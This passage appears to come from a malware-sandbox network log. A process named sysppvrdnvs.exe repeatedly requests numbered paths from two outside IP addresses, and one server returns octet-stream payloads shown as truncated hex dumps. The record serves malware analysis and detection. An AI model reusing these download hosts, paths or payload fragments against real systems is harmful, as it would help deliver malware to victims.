Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 26, 2024 07:27:50.560971022 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:49 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 26, 2024 07:27:50.561108112 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:49 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50012	91.202.233.141	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:52.705173016 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:53.559186935 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:53 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50013	91.202.233.141	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:55.626848936 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:56.509474993 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:56 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50015	91.202.233.141	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:58.683264017 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:59.587367058 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:59 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50016	91.202.233.141	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:28:01.729651928 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:28:02.679735899 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:28:02 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50018	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:28:06.002042055 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:28:06.897535086 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:28:06 GMT Content-Type: application/octet-stream Content-Length: 110600 Last-Modified: Wed, 25 Sep 2024 06:10:18 GMT Connection: keep-alive ETag: "66f3a94a-1b008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 02 38 79 12 a8 9a 87 6a 07 b8 bb 78 39 22 7b 5b 26 ab 0b 54 4c be 08 2c 0a 8d 4c c0 6e 44 be d8 37 30 4c 6e a5 cc 8b 4d 50 c1 42 a2 d2 65 ba a4 81 27 94 4c 70 56 4a a8 a2 db 67 f9 0c f5 59 c6 b2 c1 1f 8d 5d ac c3 89 ec 68 3d 86 ef fd bc 4f 74 28 e6 50 3a c2 d3 07 6a 6a 6f 46 93 04 e6 15 ed 32 79 1c 90 b2 fd 3a d3 50 40 82 62 8a ae c7 36 5d 75 bd eb d1 44 5c de f6 69 34 3c d2 0d d5 09 51 3f 8a ab d7 f4 f8 b8 08 5f 3b 5d fc f8 21 e5 8e 41 10 34 b5 41 17 01 ea 08 9c 89 31 0a ed 63 f0 73 61 5e 9c 2b 64 51 21 78 6c fb 36 51 ff f4 38 77 85 e5 03 61 37 3f e6 e7 5d 83 54 25 3a 1b d7 d8 85 48 d7 31 b5 b0 aa 09 24 0f 6a bf de 08 ac b0 8b 83 34 66 b3 6b 21 83 92 7f 70 f8 46 7a d3 76 9e 08 8b 91 ef 0f 01 96 12 82 3f 6c 18 f9 80 35 dd a9 85 c7 37 09 bc 2e 28 13 d8 dd c0 99 3d 63 89 73 04 0d 63 08 46 cd 7b f2 d1 2d c6 75 45 b7 38 d9 44 1a f4 db 85 9f 51 46 02 09 c3 7c ba 38 8a 65 79 13 33 27 a7 40 3c 4b 71 9e fc 22 53 f7 2d 93 90 3f fd b9 34 a0 73 cc df b8 7f 2e 91 a7 53 85 ba 32 d7 bf fe [TRUNCATED] Data Ascii: NGS!8yjx9"{[&TL,LnD70LnMPBe'LpVJgY]h=Ot(P:jjoF2y:P@b6]uD\i4<Q?_;]!A4A1csa^+dQ!xl6Q8wa7?]T%:H1$j4fk!pFzv?l57.(=cscF{-uE8DQF\|8ey3'@<Kq"S-?4s.S2j=eLeYh+[}AM,@gW\Z)ET/\|"bWRoj(\|A,>?1;>"&;ucy[t`w #cdyysGx_ChI]Dey.:FQQC BZn2@X&>UYgDYZ)F!FFeh4VGK>V3#+$,&S.lkIF\Ck$)J_l\",0u!kT}V!YB{}nAL[Xo[+1\m,^bLMDj-g <_8d+-D/k<'dv-Qi`N4W(_"%5q844o4gdxsifcD^]M(A[gB4mwAV@g54]BLr!nWG,6+uY9U4OP&?vKi>X7Dto=2f
Oct 26, 2024 07:28:06.897577047 CEST	212	IN	Data Raw: b4 bd ad 62 69 93 e7 43 cf 35 4e 07 3e c2 37 6c 66 f1 c1 c8 10 ff ff ef 5e e4 1e 40 46 f2 4f 47 bb b9 53 b2 17 fe 91 80 48 a4 a5 9e 88 5e b0 09 b2 f7 1a 05 c1 ae 77 a6 1a 01 ba f2 27 90 fd 83 00 22 7e ab d7 16 d7 69 b8 9a d6 11 59 f5 10 ed 6f d3 Data Ascii: biC5N>7lf^@FOGSH^w'"~iYoT:1<~!HhQ:P^(K3: yXM^gQD55!HF?}'+Wxrp8U_HK\UxQ
Oct 26, 2024 07:28:06.897631884 CEST	1236	IN	Data Raw: 83 e4 d1 90 29 7c aa 52 61 69 3e 26 79 cf e3 2b a4 eb a0 86 89 ee 8f 0a 65 18 75 20 96 42 1b 55 48 d4 6a a3 7b 79 30 ed be 6d a7 6c 87 55 ef 22 c3 f5 94 c8 33 a5 83 53 2b c4 c3 b9 90 cf 8a 0c fc cb a5 49 29 7e ad f0 f9 35 44 58 bc b7 23 1f 6f 26 Data Ascii: )\|Rai>&y+eu BUHj{y0mlU"3S+I)~5DX#o&n3_$by<DLy/9o-T&ge1c80G~q!&Q{[Y`,OCG"GX! (\|h'RTg$^,u1^qdcQm3PwL&izY
Oct 26, 2024 07:28:06.897689104 CEST	1236	IN	Data Raw: 02 73 94 7c 14 0e aa f5 e2 b8 40 61 24 1a 40 15 ef 62 57 45 85 0a 95 13 1c 99 a6 67 55 34 b3 4c e3 6c c9 df 4c b8 f9 00 9a a1 41 71 99 93 d4 bc b8 1e a9 35 3b 7a a6 23 40 95 fb d1 4d 91 a1 81 38 02 69 ff 64 38 a9 5b 0c b3 79 81 37 2a d8 94 b2 70 Data Ascii: s\|@a$@bWEgU4LlLAq5;z#@M8id8[y7*pZN$S<[Z88Al5r6^9Cko+@bk$>@\|#}_XkeTl~Kyyx.d;XbbE7PF-Pedz}
Oct 26, 2024 07:28:06.897720098 CEST	124	IN	Data Raw: 17 5f 0f 70 34 1e ae a2 24 cb 91 81 c7 90 a6 02 38 63 65 e1 35 a7 5c 4a fc a5 a0 41 7c fa ab ec 4d 5a 7a a8 cd f3 9d 2c c0 4a b6 e1 08 2d bf 09 5a 6f 0c 55 f3 a1 ca 08 53 b9 2d 96 2c f5 54 d0 f6 e9 c7 e4 16 91 cf 60 d5 69 da 3f 60 78 a9 71 63 5b Data Ascii: _p4$8ce5\JA\|MZz,J-ZoUS-,T`i?`xqc[)2~pHTV 6RCju
Oct 26, 2024 07:28:06.897757053 CEST	1236	IN	Data Raw: f5 a2 e6 ca 87 f3 9f 2e 7f 2c f3 b9 08 6a 41 ba db af 20 e9 e2 b7 95 be 45 10 38 78 59 38 68 e6 91 4c ab 89 0a 4a 50 69 af 16 7c 4b 8c 1e ad b2 11 f5 6c d5 33 a8 b6 4b 4b 9b 3f e5 d7 4f 0d 8c cc 6e 56 26 e2 b9 20 4b dd b1 79 a5 8d 4c 31 64 ca 36 Data Ascii: .,jA E8xY8hLJPi\|Kl3KK?OnV& KyL1d6Y0m~ ?LOR9.0Ddr(dL]VcX/N=kT,f\&Kk~DMub;/Gf%A&>thWZq.%?!Us. \|v
Oct 26, 2024 07:28:06.897794962 CEST	212	IN	Data Raw: 1b b0 93 c9 de b9 46 ee a5 73 e6 65 44 70 3f a1 58 37 a8 99 36 bc 4a 9e f8 99 c0 07 b3 5e 5c 3d 6f 6e c5 cc aa 6b a5 3d fb cc e7 a4 0a a5 a4 c2 ff c3 c7 a3 5c f3 df 14 48 6d 79 fa 1a 18 c2 ef 59 b9 63 dc 45 fe fb c6 ac 4a 9d bd 95 10 cf 49 fd b2 Data Ascii: FseDp?X76J^\=onk=\HmyYcEJI4B15't=ec*jt'48]~HD{nVS('ME{,` '3)t#Av@:V
Oct 26, 2024 07:28:06.897825956 CEST	1236	IN	Data Raw: 74 56 0f 42 c0 44 38 5e e6 c7 65 8c 60 2c 8e 69 fd 01 64 48 be cb 64 38 13 c5 14 e4 48 9d 30 0f 22 fc 81 11 80 90 1f 8b 5f eb 89 c2 5d 3e 34 b8 a9 85 f4 5d d5 0f d4 9f 06 ab 32 f7 33 42 e1 0c 49 a2 a6 5a ab 3f 5b 4c 9b ab a7 93 78 49 58 7e 9d ff Data Ascii: tVBD8^e`,idHd8H0"_]>4]23BIZ?[LxIX~$"dT~4PDKy\MI8kgy$"?uHB3GRH(:5N:AYovR[tn:;3or+[y<_%Q(gUb7
Oct 26, 2024 07:28:06.897861958 CEST	1236	IN	Data Raw: 32 fc 1a f2 64 6f 2a 7a 08 3a 3d ce e2 4a 9c 2d f1 56 1f 6d 86 e6 4d 5b 27 3a 35 02 30 6f 9d ac 4e c4 a7 6e 5f b1 ad d8 1e 3a 4f c2 73 c2 7d b6 ea 84 ae 88 ff 9b 95 5e be 07 c4 7e 73 99 48 2e ed a0 49 64 75 23 9a 7d a9 f3 cf e4 9d 48 9e 05 d3 86 Data Ascii: 2doz:=J-VmM[':50oNn_:Os}^~sH.Idu#}HRz"EnyT/V\3VW]1`iw6m@Ie"oUl*#^rSZtk.[D`i!A&\NtYJ@xi}S
Oct 26, 2024 07:28:06.897897005 CEST	1236	IN	Data Raw: 33 89 55 d3 42 ea e6 0a 60 c0 e6 af 3e 2d 1b 9e 14 58 59 d4 9a 29 83 23 34 c7 26 83 a8 d3 f8 c3 e5 7e 5b 15 03 9c b3 c7 59 02 ec e9 e5 83 ed 15 d6 eb d8 c9 7a 68 76 79 12 99 fa d9 2c 9a bf c0 8d 40 78 c3 ba b1 57 d8 59 de b2 1f 3e 95 2f 20 f2 09 Data Ascii: 3UB`>-XY)#4&~[Yzhvy,@xWY>/ !P(I,SkM79q(4jOOxq"&L`bH[ #QE2] SNR4sx2wyHqDFA/ga:{X>O!{\o9
Oct 26, 2024 07:28:06.903274059 CEST	1236	IN	Data Raw: 9b 25 ac b2 37 c5 83 ea 32 35 21 ce 00 be c2 02 21 7f 2d 07 6c 99 85 e9 5a 72 c6 bd 1e 52 e1 f1 c5 02 19 43 88 8c cf fb b3 ea 7e fa 80 08 27 c2 ce 70 c7 43 f6 b7 a7 9a 55 5c 05 41 f5 a2 65 10 84 4a 0d 31 f5 b5 24 6e 0b d7 09 f1 63 df 53 56 13 0f Data Ascii: %725!!-lZrRC~'pCU\AeJ1$ncSVqq-sqFr6{+:lka5F{kCBt\|c?;p~8FE!1*vs7.0du=rFWu&uLD,6\|< b&z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50020	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:28:08.950253010 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:28:09.853734016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:28:09 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ _^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Oct 26, 2024 07:28:09.853780985 CEST	112	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP
